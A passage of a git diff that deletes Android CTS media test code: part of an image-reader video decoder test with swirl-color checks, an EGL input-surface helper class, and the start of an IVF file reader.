-    private Decoder[] googMpeg4() { return goog(MPEG4_ASSETS); }
-    private Decoder[] googVP8()   { return goog(VP8_ASSETS); }
-    private Decoder[] googVP9()   { return goog(VP9_ASSETS); }
-
-    private Decoder[] otherH265()  { return other(H265_ASSETS); }
-    private Decoder[] otherH264()  { return other(H264_ASSETS); }
-    private Decoder[] otherH263()  { return other(H263_ASSETS); }
-    private Decoder[] otherMpeg4() { return other(MPEG4_ASSETS); }
-    private Decoder[] otherVP8()   { return other(VP8_ASSETS); }
-    private Decoder[] otherVP9()   { return other(VP9_ASSETS); }
-
-    public void testGoogH265Image()   { swirlTest(googH265(),   MODE_IMAGE); }
-    public void testGoogH264Image()   { swirlTest(googH264(),   MODE_IMAGE); }
-    public void testGoogH263Image()   { swirlTest(googH263(),   MODE_IMAGE); }
-    public void testGoogMpeg4Image()  { swirlTest(googMpeg4(),  MODE_IMAGE); }
-    public void testGoogVP8Image()    { swirlTest(googVP8(),    MODE_IMAGE); }
-    public void testGoogVP9Image()    { swirlTest(googVP9(),    MODE_IMAGE); }
-
-    public void testOtherH265Image()  { swirlTest(otherH265(),  MODE_IMAGE); }
-    public void testOtherH264Image()  { swirlTest(otherH264(),  MODE_IMAGE); }
-    public void testOtherH263Image()  { swirlTest(otherH263(),  MODE_IMAGE); }
-    public void testOtherMpeg4Image() { swirlTest(otherMpeg4(), MODE_IMAGE); }
-    public void testOtherVP8Image()   { swirlTest(otherVP8(),   MODE_IMAGE); }
-    public void testOtherVP9Image()   { swirlTest(otherVP9(),   MODE_IMAGE); }
-
-    public void testGoogH265ImageReader()   { swirlTest(googH265(),   MODE_IMAGEREADER); }
-    public void testGoogH264ImageReader()   { swirlTest(googH264(),   MODE_IMAGEREADER); }
-    public void testGoogH263ImageReader()   { swirlTest(googH263(),   MODE_IMAGEREADER); }
-    public void testGoogMpeg4ImageReader()  { swirlTest(googMpeg4(),  MODE_IMAGEREADER); }
-    public void testGoogVP8ImageReader()    { swirlTest(googVP8(),    MODE_IMAGEREADER); }
-    public void testGoogVP9ImageReader()    { swirlTest(googVP9(),    MODE_IMAGEREADER); }
-
-    // TODO: b/186001256
-    @FlakyTest
-    public void testOtherH265ImageReader()  { swirlTest(otherH265(),  MODE_IMAGEREADER); }
-    @FlakyTest
-    public void testOtherH264ImageReader()  { swirlTest(otherH264(),  MODE_IMAGEREADER); }
-    public void testOtherH263ImageReader()  { swirlTest(otherH263(),  MODE_IMAGEREADER); }
-    public void testOtherMpeg4ImageReader() { swirlTest(otherMpeg4(), MODE_IMAGEREADER); }
-    @FlakyTest
-    public void testOtherVP8ImageReader()   { swirlTest(otherVP8(),   MODE_IMAGEREADER); }
-    @FlakyTest
-    public void testOtherVP9ImageReader()   { swirlTest(otherVP9(),   MODE_IMAGEREADER); }
-
-    /**
-     * Test ImageReader with 480x360 non-google AVC decoding for flexible yuv format
-     */
-    public void testHwAVCDecode360pForFlexibleYuv() throws Exception {
-        Decoder[] decoders = other(new MediaAssets(
-                MediaFormat.MIMETYPE_VIDEO_AVC,
-                new MediaAsset(
-                        "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                        480 /* width */, 360 /* height */)));
-
-        decodeTest(decoders, MODE_IMAGEREADER, false /* checkSwirl */);
-    }
-
-    /**
-     * Test ImageReader with 480x360 google (SW) AVC decoding for flexible yuv format
-     */
-    public void testSwAVCDecode360pForFlexibleYuv() throws Exception {
-        Decoder[] decoders = goog(new MediaAssets(
-                MediaFormat.MIMETYPE_VIDEO_AVC,
-                new MediaAsset(
-                        "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                        480 /* width */, 360 /* height */)));
-
-        decodeTest(decoders, MODE_IMAGEREADER, false /* checkSwirl */);
-    }
-
-    private void swirlTest(Decoder[] decoders, int mode) {
-        decodeTest(decoders, mode, true /* checkSwirl */);
-    }
-
-    private void decodeTest(Decoder[] decoders, int mode, boolean checkSwirl) {
-        try {
-            boolean skipped = true;
-            for (Decoder codec : decoders) {
-                if (codec.videoDecode(mode, checkSwirl)) {
-                    skipped = false;
-                }
-            }
-            if (skipped) {
-                MediaUtils.skipTest("decoder does not any of the input files");
-            }
-        } finally {
-            closeImageReader();
-        }
-    }
-
-    private static class ImageListener implements ImageReader.OnImageAvailableListener {
-        private final LinkedBlockingQueue<Image> mQueue =
-                new LinkedBlockingQueue<Image>();
-
-        @Override
-        public void onImageAvailable(ImageReader reader) {
-            try {
-                mQueue.put(reader.acquireNextImage());
-            } catch (InterruptedException e) {
-                throw new UnsupportedOperationException(
-                        "Can't handle InterruptedException in onImageAvailable");
-            }
-        }
-
-        /**
-         * Get an image from the image reader.
-         *
-         * @param timeout Timeout value for the wait.
-         * @return The image from the image reader.
-         */
-        public Image getImage(long timeout) throws InterruptedException {
-            Image image = mQueue.poll(timeout, TimeUnit.MILLISECONDS);
-            assertNotNull("Wait for an image timed out in " + timeout + "ms", image);
-            return image;
-        }
-    }
-
-    /**
-     * Decode video frames to image reader.
-     */
-    private void decodeFramesToImage(
-            MediaCodec decoder, MediaExtractor extractor, MediaFormat mediaFormat,
-            int width, int height, int imageFormat, int mode, boolean checkSwirl)
-            throws InterruptedException {
-        ByteBuffer[] decoderInputBuffers;
-        ByteBuffer[] decoderOutputBuffers;
-
-        // Configure decoder.
-        if (VERBOSE) Log.v(TAG, "stream format: " + mediaFormat);
-        if (mode == MODE_IMAGEREADER) {
-            createImageReader(width, height, imageFormat, MAX_NUM_IMAGES, mImageListener);
-            decoder.configure(mediaFormat, mReaderSurface, null /* crypto */, 0 /* flags */);
-        } else {
-            assertEquals(mode, MODE_IMAGE);
-            decoder.configure(mediaFormat, null /* surface */, null /* crypto */, 0 /* flags */);
-        }
-
-        decoder.start();
-        decoderInputBuffers = decoder.getInputBuffers();
-        decoderOutputBuffers = decoder.getOutputBuffers();
-        extractor.selectTrack(0);
-
-        // Start decoding and get Image, only test the first NUM_FRAME_DECODED frames.
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        boolean sawInputEOS = false;
-        boolean sawOutputEOS = false;
-        int outputFrameCount = 0;
-        while (!sawOutputEOS && outputFrameCount < NUM_FRAME_DECODED) {
-            if (VERBOSE) Log.v(TAG, "loop:" + outputFrameCount);
-            // Feed input frame.
-            if (!sawInputEOS) {
-                int inputBufIndex = decoder.dequeueInputBuffer(DEFAULT_TIMEOUT_US);
-                if (inputBufIndex >= 0) {
-                    ByteBuffer dstBuf = decoderInputBuffers[inputBufIndex];
-                    int sampleSize =
-                        extractor.readSampleData(dstBuf, 0 /* offset */);
-
-                    if (VERBOSE) Log.v(TAG, "queue a input buffer, idx/size: "
-                        + inputBufIndex + "/" + sampleSize);
-
-                    long presentationTimeUs = 0;
-
-                    if (sampleSize < 0) {
-                        if (VERBOSE) Log.v(TAG, "saw input EOS.");
-                        sawInputEOS = true;
-                        sampleSize = 0;
-                    } else {
-                        presentationTimeUs = extractor.getSampleTime();
-                    }
-
-                    decoder.queueInputBuffer(
-                            inputBufIndex,
-                            0 /* offset */,
-                            sampleSize,
-                            presentationTimeUs,
-                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
-
-                    if (!sawInputEOS) {
-                        extractor.advance();
-                    }
-                }
-            }
-
-            // Get output frame
-            int res = decoder.dequeueOutputBuffer(info, DEFAULT_TIMEOUT_US);
-            if (VERBOSE) Log.v(TAG, "got a buffer: " + info.size + "/" + res);
-            if (res == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                // no output available yet
-                if (VERBOSE) Log.v(TAG, "no output frame available");
-            } else if (res == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                // decoder output buffers changed, need update.
-                if (VERBOSE) Log.v(TAG, "decoder output buffers changed");
-                decoderOutputBuffers = decoder.getOutputBuffers();
-            } else if (res == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                // this happens before the first frame is returned.
-                MediaFormat outFormat = decoder.getOutputFormat();
-                if (VERBOSE) Log.v(TAG, "decoder output format changed: " + outFormat);
-            } else if (res < 0) {
-                // Should be decoding error.
-                fail("unexpected result from deocder.dequeueOutputBuffer: " + res);
-            } else {
-                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    sawOutputEOS = true;
-                }
-
-                // res >= 0: normal decoding case, copy the output buffer.
-                // Will use it as reference to valid the ImageReader output
-                // Some decoders output a 0-sized buffer at the end. Ignore those.
-                boolean doRender = (info.size != 0);
-
-                if (doRender) {
-                    outputFrameCount++;
-                    String fileName = DEBUG_FILE_NAME_BASE + MediaUtils.getTestName()
-                            + (mode == MODE_IMAGE ? "_image_" : "_reader_")
-                            + width + "x" + height + "_" + outputFrameCount + ".yuv";
-
-                    Image image = null;
-                    try {
-                        if (mode == MODE_IMAGE) {
-                            image = decoder.getOutputImage(res);
-                        } else {
-                            decoder.releaseOutputBuffer(res, doRender);
-                            res = -1;
-                            // Read image and verify
-                            image = mImageListener.getImage(WAIT_FOR_IMAGE_TIMEOUT_MS);
-                        }
-                        validateImage(image, width, height, imageFormat, fileName);
-
-                        if (checkSwirl) {
-                            try {
-                                validateSwirl(image);
-                            } catch (Throwable e) {
-                                dumpFile(fileName, getDataFromImage(image));
-                                throw e;
-                            }
-                        }
-                    } finally {
-                        if (image != null) {
-                            image.close();
-                        }
-                    }
-                }
-
-                if (res >= 0) {
-                    decoder.releaseOutputBuffer(res, false /* render */);
-                }
-            }
-        }
-    }
-
-    /**
-     * Validate image based on format and size.
-     *
-     * @param image The image to be validated.
-     * @param width The image width.
-     * @param height The image height.
-     * @param format The image format.
-     * @param filePath The debug dump file path, null if don't want to dump to file.
-     */
-    public static void validateImage(
-            Image image, int width, int height, int format, String filePath) {
-        if (VERBOSE) {
-            Plane[] imagePlanes = image.getPlanes();
-            Log.v(TAG, "Image " + filePath + " Info:");
-            Log.v(TAG, "first plane pixelstride " + imagePlanes[0].getPixelStride());
-            Log.v(TAG, "first plane rowstride " + imagePlanes[0].getRowStride());
-            Log.v(TAG, "Image timestamp:" + image.getTimestamp());
-        }
-
-        assertNotNull("Input image is invalid", image);
-        assertEquals("Format doesn't match", format, image.getFormat());
-        assertEquals("Width doesn't match", width, image.getCropRect().width());
-        assertEquals("Height doesn't match", height, image.getCropRect().height());
-
-        if(VERBOSE) Log.v(TAG, "validating Image");
-        byte[] data = getDataFromImage(image);
-        assertTrue("Invalid image data", data != null && data.length > 0);
-
-        validateYuvData(data, width, height, format, image.getTimestamp());
-
-        if (VERBOSE && filePath != null) {
-            dumpFile(filePath, data);
-        }
-    }
-
-    private static void validateSwirl(Image image) {
-        Rect crop = image.getCropRect();
-        final int NUM_SIDES = 4;
-        final int step = 8;      // the width of the layers
-        long[][] rawStats = new long[NUM_SIDES][10];
-        int[][] colors = new int[][] {
-            { 111, 96, 204 }, { 178, 27, 174 }, { 100, 192, 92 }, { 106, 117, 62 }
-        };
-
-        // successively accumulate statistics for each layer of the swirl
-        // by using overlapping rectangles, and the observation that
-        // layer_i = rectangle_i - rectangle_(i+1)
-        int lastLayer = 0;
-        int layer = 0;
-        boolean lastLayerValid = false;
-        for (int pos = 0; ; pos += step) {
-            Rect area = new Rect(pos - step, pos, crop.width() / 2, crop.height() + 2 * step - pos);
-            if (area.isEmpty()) {
-                break;
-            }
-            area.offset(crop.left, crop.top);
-            area.intersect(crop);
-            for (int lr = 0; lr < 2; ++lr) {
-                long[] oneStat = CodecUtils.getRawStats(image, area);
-                if (VERBOSE) Log.v(TAG, "area=" + area + ", layer=" + layer + ", last="
-                                    + lastLayer + ": " + Arrays.toString(oneStat));
-                for (int i = 0; i < oneStat.length; i++) {
-                    rawStats[layer][i] += oneStat[i];
-                    if (lastLayerValid) {
-                        rawStats[lastLayer][i] -= oneStat[i];
-                    }
-                }
-                if (VERBOSE && lastLayerValid) {
-                    Log.v(TAG, "layer-" + lastLayer + ": " + Arrays.toString(rawStats[lastLayer]));
-                    Log.v(TAG, Arrays.toString(CodecUtils.Raw2YUVStats(rawStats[lastLayer])));
-                }
-                // switch to the opposite side
-                layer ^= 2;      // NUM_SIDES / 2
-                lastLayer ^= 2;  // NUM_SIDES / 2
-                area.offset(crop.centerX() - area.left, 2 * (crop.centerY() - area.centerY()));
-            }
-
-            lastLayer = layer;
-            lastLayerValid = true;
-            layer = (layer + 1) % NUM_SIDES;
-        }
-
-        for (layer = 0; layer < NUM_SIDES; ++layer) {
-            float[] stats = CodecUtils.Raw2YUVStats(rawStats[layer]);
-            if (DEBUG) Log.d(TAG, "layer-" + layer + ": " + Arrays.toString(stats));
-            if (VERBOSE) Log.v(TAG, Arrays.toString(rawStats[layer]));
-
-            // check layer uniformity
-            for (int i = 0; i < 3; i++) {
-                assertTrue("color of layer-" + layer + " is not uniform: "
-                        + Arrays.toString(stats),
-                        stats[3 + i] < COLOR_STDEV_ALLOWANCE);
-            }
-
-            // check layer color
-            for (int i = 0; i < 3; i++) {
-                assertTrue("color of layer-" + layer + " mismatches target "
-                        + Arrays.toString(colors[layer]) + " vs "
-                        + Arrays.toString(Arrays.copyOf(stats, 3)),
-                        Math.abs(stats[i] - colors[layer][i]) < COLOR_DELTA_ALLOWANCE);
-            }
-        }
-    }
-
-    private static void validateYuvData(byte[] yuvData, int width, int height, int format,
-            long ts) {
-
-        assertTrue("YUV format must be one of the YUV_420_888, NV21, or YV12",
-                format == ImageFormat.YUV_420_888 ||
-                format == ImageFormat.NV21 ||
-                format == ImageFormat.YV12);
-
-        if (VERBOSE) Log.v(TAG, "Validating YUV data");
-        int expectedSize = width * height * ImageFormat.getBitsPerPixel(format) / 8;
-        assertEquals("Yuv data doesn't match", expectedSize, yuvData.length);
-    }
-
-    private static void checkYuvFormat(int format) {
-        if ((format != ImageFormat.YUV_420_888) &&
-                (format != ImageFormat.NV21) &&
-                (format != ImageFormat.YV12)) {
-            fail("Wrong formats: " + format);
-        }
-    }
-    /**
-     * <p>Check android image format validity for an image, only support below formats:</p>
-     *
-     * <p>Valid formats are YUV_420_888/NV21/YV12 for video decoder</p>
-     */
-    private static void checkAndroidImageFormat(Image image) {
-        int format = image.getFormat();
-        Plane[] planes = image.getPlanes();
-        switch (format) {
-            case ImageFormat.YUV_420_888:
-            case ImageFormat.NV21:
-            case ImageFormat.YV12:
-                assertEquals("YUV420 format Images should have 3 planes", 3, planes.length);
-                break;
-            default:
-                fail("Unsupported Image Format: " + format);
-        }
-    }
-
-    /**
-     * Get a byte array image data from an Image object.
-     * <p>
-     * Read data from all planes of an Image into a contiguous unpadded,
-     * unpacked 1-D linear byte array, such that it can be write into disk, or
-     * accessed by software conveniently. It supports YUV_420_888/NV21/YV12
-     * input Image format.
-     * </p>
-     * <p>
-     * For YUV_420_888/NV21/YV12/Y8/Y16, it returns a byte array that contains
-     * the Y plane data first, followed by U(Cb), V(Cr) planes if there is any
-     * (xstride = width, ystride = height for chroma and luma components).
-     * </p>
-     */
-    private static byte[] getDataFromImage(Image image) {
-        assertNotNull("Invalid image:", image);
-        Rect crop = image.getCropRect();
-        int format = image.getFormat();
-        int width = crop.width();
-        int height = crop.height();
-        int rowStride, pixelStride;
-        byte[] data = null;
-
-        // Read image data
-        Plane[] planes = image.getPlanes();
-        assertTrue("Fail to get image planes", planes != null && planes.length > 0);
-
-        // Check image validity
-        checkAndroidImageFormat(image);
-
-        ByteBuffer buffer = null;
-
-        int offset = 0;
-        data = new byte[width * height * ImageFormat.getBitsPerPixel(format) / 8];
-        byte[] rowData = new byte[planes[0].getRowStride()];
-        if(VERBOSE) Log.v(TAG, "get data from " + planes.length + " planes");
-        for (int i = 0; i < planes.length; i++) {
-            int shift = (i == 0) ? 0 : 1;
-            buffer = planes[i].getBuffer();
-            assertNotNull("Fail to get bytebuffer from plane", buffer);
-            rowStride = planes[i].getRowStride();
-            pixelStride = planes[i].getPixelStride();
-            assertTrue("pixel stride " + pixelStride + " is invalid", pixelStride > 0);
-            if (VERBOSE) {
-                Log.v(TAG, "pixelStride " + pixelStride);
-                Log.v(TAG, "rowStride " + rowStride);
-                Log.v(TAG, "width " + width);
-                Log.v(TAG, "height " + height);
-            }
-            // For multi-planar yuv images, assuming yuv420 with 2x2 chroma subsampling.
-            int w = crop.width() >> shift;
-            int h = crop.height() >> shift;
-            buffer.position(rowStride * (crop.top >> shift) + pixelStride * (crop.left >> shift));
-            assertTrue("rowStride " + rowStride + " should be >= width " + w , rowStride >= w);
-            for (int row = 0; row < h; row++) {
-                int bytesPerPixel = ImageFormat.getBitsPerPixel(format) / 8;
-                int length;
-                if (pixelStride == bytesPerPixel) {
-                    // Special case: optimized read of the entire row
-                    length = w * bytesPerPixel;
-                    buffer.get(data, offset, length);
-                    offset += length;
-                } else {
-                    // Generic case: should work for any pixelStride but slower.
-                    // Use intermediate buffer to avoid read byte-by-byte from
-                    // DirectByteBuffer, which is very bad for performance
-                    length = (w - 1) * pixelStride + bytesPerPixel;
-                    buffer.get(rowData, 0, length);
-                    for (int col = 0; col < w; col++) {
-                        data[offset++] = rowData[col * pixelStride];
-                    }
-                }
-                // Advance buffer the remainder of the row stride
-                if (row < h - 1) {
-                    buffer.position(buffer.position() + rowStride - length);
-                }
-            }
-            if (VERBOSE) Log.v(TAG, "Finished reading data from plane " + i);
-        }
-        return data;
-    }
-
-    private static void dumpFile(String fileName, byte[] data) {
-        assertNotNull("fileName must not be null", fileName);
-        assertNotNull("data must not be null", data);
-
-        FileOutputStream outStream;
-        try {
-            Log.v(TAG, "output will be saved as " + fileName);
-            outStream = new FileOutputStream(fileName);
-        } catch (IOException ioe) {
-            throw new RuntimeException("Unable to create debug output file " + fileName, ioe);
-        }
-
-        try {
-            outStream.write(data);
-            outStream.close();
-        } catch (IOException ioe) {
-            throw new RuntimeException("failed writing data to file " + fileName, ioe);
-        }
-    }
-
-    private void createImageReader(
-            int width, int height, int format, int maxNumImages,
-            ImageReader.OnImageAvailableListener listener)  {
-        closeImageReader();
-
-        mReader = ImageReader.newInstance(width, height, format, maxNumImages);
-        mReaderSurface = mReader.getSurface();
-        mReader.setOnImageAvailableListener(listener, mHandler);
-        if (VERBOSE) {
-            Log.v(TAG, String.format("Created ImageReader size (%dx%d), format %d", width, height,
-                    format));
-        }
-    }
-
-    /**
-     * Close the pending images then close current active {@link ImageReader} object.
-     */
-    private void closeImageReader() {
-        if (mReader != null) {
-            try {
-                // Close all possible pending images first.
-                Image image = mReader.acquireLatestImage();
-                if (image != null) {
-                    image.close();
-                }
-            } finally {
-                mReader.close();
-                mReader = null;
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/InputSurface.java b/tests/tests/media/src/android/media/cts/InputSurface.java
deleted file mode 100644
index ca7941d..0000000
--- a/tests/tests/media/src/android/media/cts/InputSurface.java
+++ /dev/null
@@ -1,272 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-
-import android.media.MediaCodec;
-import android.opengl.EGL14;
-import android.opengl.EGLConfig;
-import android.opengl.EGLContext;
-import android.opengl.EGLDisplay;
-import android.opengl.EGLExt;
-import android.opengl.EGLSurface;
-import android.opengl.GLES20;
-import android.util.Log;
-import android.view.Surface;
-
-
-/**
- * Holds state associated with a Surface used for MediaCodec encoder input.
- * <p>
- * The constructor takes a Surface obtained from MediaCodec.createInputSurface(), and uses that
- * to create an EGL window surface.  Calls to eglSwapBuffers() cause a frame of data to be sent
- * to the video encoder.
- */
-class InputSurface implements InputSurfaceInterface {
-    private static final String TAG = "InputSurface";
-
-    private EGLDisplay mEGLDisplay = EGL14.EGL_NO_DISPLAY;
-    private EGLContext mEGLContext = EGL14.EGL_NO_CONTEXT;
-    private EGLSurface mEGLSurface = EGL14.EGL_NO_SURFACE;
-    private EGLConfig[] mConfigs = new EGLConfig[1];
-
-    private boolean mReleaseSurface;
-    private Surface mSurface;
-    private int mWidth;
-    private int mHeight;
-
-    /**
-     * Creates an InputSurface from a Surface.
-     */
-    public InputSurface(Surface surface, boolean releaseSurface) {
-        if (surface == null) {
-            throw new NullPointerException();
-        }
-        mSurface = surface;
-        mReleaseSurface = releaseSurface;
-
-        eglSetup();
-    }
-
-    /**
-     * Creates an InputSurface from a Surface.
-     */
-    public InputSurface(Surface surface) {
-        this(surface, true);
-    }
-
-    /**
-     * Prepares EGL.  We want a GLES 2.0 context and a surface that supports recording.
-     */
-    private void eglSetup() {
-        mEGLDisplay = EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY);
-        if (mEGLDisplay == EGL14.EGL_NO_DISPLAY) {
-            throw new RuntimeException("unable to get EGL14 display");
-        }
-        int[] version = new int[2];
-        if (!EGL14.eglInitialize(mEGLDisplay, version, 0, version, 1)) {
-            mEGLDisplay = null;
-            throw new RuntimeException("unable to initialize EGL14");
-        }
-
-        // Configure EGL for recordable and OpenGL ES 2.0.  We want enough RGB bits
-        // to minimize artifacts from possible YUV conversion.
-        int[] attribList = {
-                EGL14.EGL_RED_SIZE, 8,
-                EGL14.EGL_GREEN_SIZE, 8,
-                EGL14.EGL_BLUE_SIZE, 8,
-                EGL14.EGL_RENDERABLE_TYPE, EGL14.EGL_OPENGL_ES2_BIT,
-                EGLExt.EGL_RECORDABLE_ANDROID, 1,
-                EGL14.EGL_NONE
-        };
-        int[] numConfigs = new int[1];
-        if (!EGL14.eglChooseConfig(mEGLDisplay, attribList, 0, mConfigs, 0, mConfigs.length,
-                numConfigs, 0)) {
-            throw new RuntimeException("unable to find RGB888+recordable ES2 EGL config");
-        }
-
-        // Configure context for OpenGL ES 2.0.
-        int[] attrib_list = {
-                EGL14.EGL_CONTEXT_CLIENT_VERSION, 2,
-                EGL14.EGL_NONE
-        };
-        mEGLContext = EGL14.eglCreateContext(mEGLDisplay, mConfigs[0], EGL14.EGL_NO_CONTEXT,
-                attrib_list, 0);
-        checkEglError("eglCreateContext");
-        if (mEGLContext == null) {
-            throw new RuntimeException("null context");
-        }
-
-        // Create a window surface, and attach it to the Surface we received.
-        createEGLSurface();
-
-        mWidth = getWidth();
-        mHeight = getHeight();
-    }
-
-    @Override
-    public void updateSize(int width, int height) {
-        if (width != mWidth || height != mHeight) {
-            Log.d(TAG, "re-create EGLSurface");
-            releaseEGLSurface();
-            createEGLSurface();
-            mWidth = getWidth();
-            mHeight = getHeight();
-        }
-    }
-
-    private void createEGLSurface() {
-        //EGLConfig[] configs = new EGLConfig[1];
-        int[] surfaceAttribs = {
-                EGL14.EGL_NONE
-        };
-        mEGLSurface = EGL14.eglCreateWindowSurface(mEGLDisplay, mConfigs[0], mSurface,
-                surfaceAttribs, 0);
-        checkEglError("eglCreateWindowSurface");
-        if (mEGLSurface == null) {
-            throw new RuntimeException("surface was null");
-        }
-    }
-    private void releaseEGLSurface() {
-        if (mEGLDisplay != EGL14.EGL_NO_DISPLAY) {
-            EGL14.eglDestroySurface(mEGLDisplay, mEGLSurface);
-            mEGLSurface = EGL14.EGL_NO_SURFACE;
-        }
-    }
-    /**
-     * Discard all resources held by this class, notably the EGL context.  Also releases the
-     * Surface that was passed to our constructor.
-     */
-    @Override
-    public void release() {
-        if (mEGLDisplay != EGL14.EGL_NO_DISPLAY) {
-            EGL14.eglDestroySurface(mEGLDisplay, mEGLSurface);
-            EGL14.eglDestroyContext(mEGLDisplay, mEGLContext);
-            EGL14.eglReleaseThread();
-            EGL14.eglTerminate(mEGLDisplay);
-        }
-
-        if (mReleaseSurface) {
-            mSurface.release();
-        }
-
-        mEGLDisplay = EGL14.EGL_NO_DISPLAY;
-        mEGLContext = EGL14.EGL_NO_CONTEXT;
-        mEGLSurface = EGL14.EGL_NO_SURFACE;
-
-        mSurface = null;
-    }
-
-    /**
-     * Makes our EGL context and surface current.
-     */
-    @Override
-    public void makeCurrent() {
-        if (!EGL14.eglMakeCurrent(mEGLDisplay, mEGLSurface, mEGLSurface, mEGLContext)) {
-            throw new RuntimeException("eglMakeCurrent failed");
-        }
-    }
-
-    public void makeUnCurrent() {
-        if (!EGL14.eglMakeCurrent(mEGLDisplay, EGL14.EGL_NO_SURFACE, EGL14.EGL_NO_SURFACE,
-                EGL14.EGL_NO_CONTEXT)) {
-            throw new RuntimeException("eglMakeCurrent failed");
-        }
-    }
-
-    /**
-     * Calls eglSwapBuffers.  Use this to "publish" the current frame.
-     */
-    @Override
-    public boolean swapBuffers() {
-        return EGL14.eglSwapBuffers(mEGLDisplay, mEGLSurface);
-    }
-
-    /**
-     * Returns the Surface that the MediaCodec receives buffers from.
-     */
-    public Surface getSurface() {
-        return mSurface;
-    }
-
-    /**
-     * Queries the surface's width.
-     */
-    public int getWidth() {
-        int[] value = new int[1];
-        EGL14.eglQuerySurface(mEGLDisplay, mEGLSurface, EGL14.EGL_WIDTH, value, 0);
-        return value[0];
-    }
-
-    /**
-     * Queries the surface's height.
-     */
-    public int getHeight() {
-        int[] value = new int[1];
-        EGL14.eglQuerySurface(mEGLDisplay, mEGLSurface, EGL14.EGL_HEIGHT, value, 0);
-        return value[0];
-    }
-
-    /**
-     * Sends the presentation time stamp to EGL.  Time is expressed in nanoseconds.
-     */
-    @Override
-    public void setPresentationTime(long nsecs) {
-        EGLExt.eglPresentationTimeANDROID(mEGLDisplay, mEGLSurface, nsecs);
-    }
-
-    /**
-     * Checks for EGL errors.
-     */
-    private void checkEglError(String msg) {
-        int error;
-        if ((error = EGL14.eglGetError()) != EGL14.EGL_SUCCESS) {
-            throw new RuntimeException(msg + ": EGL error: 0x" + Integer.toHexString(error));
-        }
-    }
-
-    @Override
-    public void configure(MediaCodec codec) {
-        codec.setInputSurface(mSurface);
-    }
-
-    @Override
-    public void configure(NdkMediaCodec codec) {
-        codec.setInputSurface(mSurface);
-    }
-
-    /**
-     * Clears the surface to black.
-     * <p>
-     * Ported from https://github.com/google/grafika
-     */
-    public static void clearSurface(Surface surface) {
-        // We need to do this with OpenGL ES (*not* Canvas -- the "software render" bits
-        // are sticky).  We can't stay connected to the Surface after we're done because
-        // that'd prevent the video encoder from attaching.
-        //
-        // If the Surface is resized to be larger, the new portions will be black, so
-        // clearing to something other than black may look weird unless we do the clear
-        // post-resize.
-        InputSurface win = new InputSurface(surface, false /* release */);
-        win.makeCurrent();
-        GLES20.glClearColor(0, 0, 0, 0);
-        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-        win.swapBuffers();
-        win.release();
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/IvfReader.java b/tests/tests/media/src/android/media/cts/IvfReader.java
deleted file mode 100644
index 2f679ae..0000000
--- a/tests/tests/media/src/android/media/cts/IvfReader.java
+++ /dev/null
@@ -1,194 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import java.io.IOException;
-import java.io.RandomAccessFile;
-
-/**
- * A simple reader for an IVF file.
- *
- * IVF format is a simple container format for VP8 encoded frames defined at
- * http://wiki.multimedia.cx/index.php?title=IVF.
- * This reader is capable of getting frame count, width and height
- * from the header, and access individual frames randomly by
- * frame number.
- */
-
-public class IvfReader {
-    private static final byte HEADER_SIZE = 32;
-    private static final byte FOURCC_OFFSET = 8;
-    private static final byte WIDTH_OFFSET = 12;
-    private static final byte HEIGHT_OFFSET = 14;
-    private static final byte FRAMECOUNT_OFFSET = 24;
-    private static final byte FRAME_HEADER_SIZE = 12;
-
-    private RandomAccessFile mIvfFile;
-    private boolean mHeaderValid;
-    private int mWidth;
-    private int mHeight;
-    private int mFrameCount;
-    private int[] mFrameHeads;  // Head of frame header
-    private int[] mFrameSizes;  // Frame size excluding header
-
-
-    /**
-     * Initializes the IVF file reader.
-     *
-     * Only minimal verification is done to check if this
-     * is indeed a valid IVF file. (fourcc, signature)
-     *
-     * All frame headers are read in advance.
-     *
-     * @param filename   name of the IVF file
-     */
-    public IvfReader(String filename) throws IOException{
-        mIvfFile = new RandomAccessFile(filename, "r");
-
-        mHeaderValid = verifyHeader();
-        readHeaderData();
-        readFrameMetadata();
-    }
-
-    /**
-     * Tells if file header seems to be valid.
-     *
-     * Only minimal verification is done to check if this
-     * is indeed a valid IVF file. (fourcc, signature)
-     */
-    public boolean isHeaderValid(){
-        return mHeaderValid;
-    }
-
-    /**
-     * Returns frame width according to header information.
-     */
-    public int getWidth(){
-        return mWidth;
-    }
-
-    /**
-     * Returns frame height according to header information.
-     */
-    public int getHeight(){
-        return mHeight;
-    }
-
-    /**
-     * Returns frame count according to header information.
-     */
-    public int getFrameCount(){
-        return mFrameCount;
-    }
-
-    /**
-     * Returns frame data by index.
-     *
-     * @param frameIndex index of the frame to read, greater-equal
-     * than 0 and less than frameCount.
-     */
-    public byte[] readFrame(int frameIndex) throws IOException {
-        if (frameIndex > mFrameCount || frameIndex < 0){
-            return null;
-        }
-        int frameSize = mFrameSizes[frameIndex];
-        int frameHead = mFrameHeads[frameIndex];
-
-        byte[] frame = new byte[frameSize];
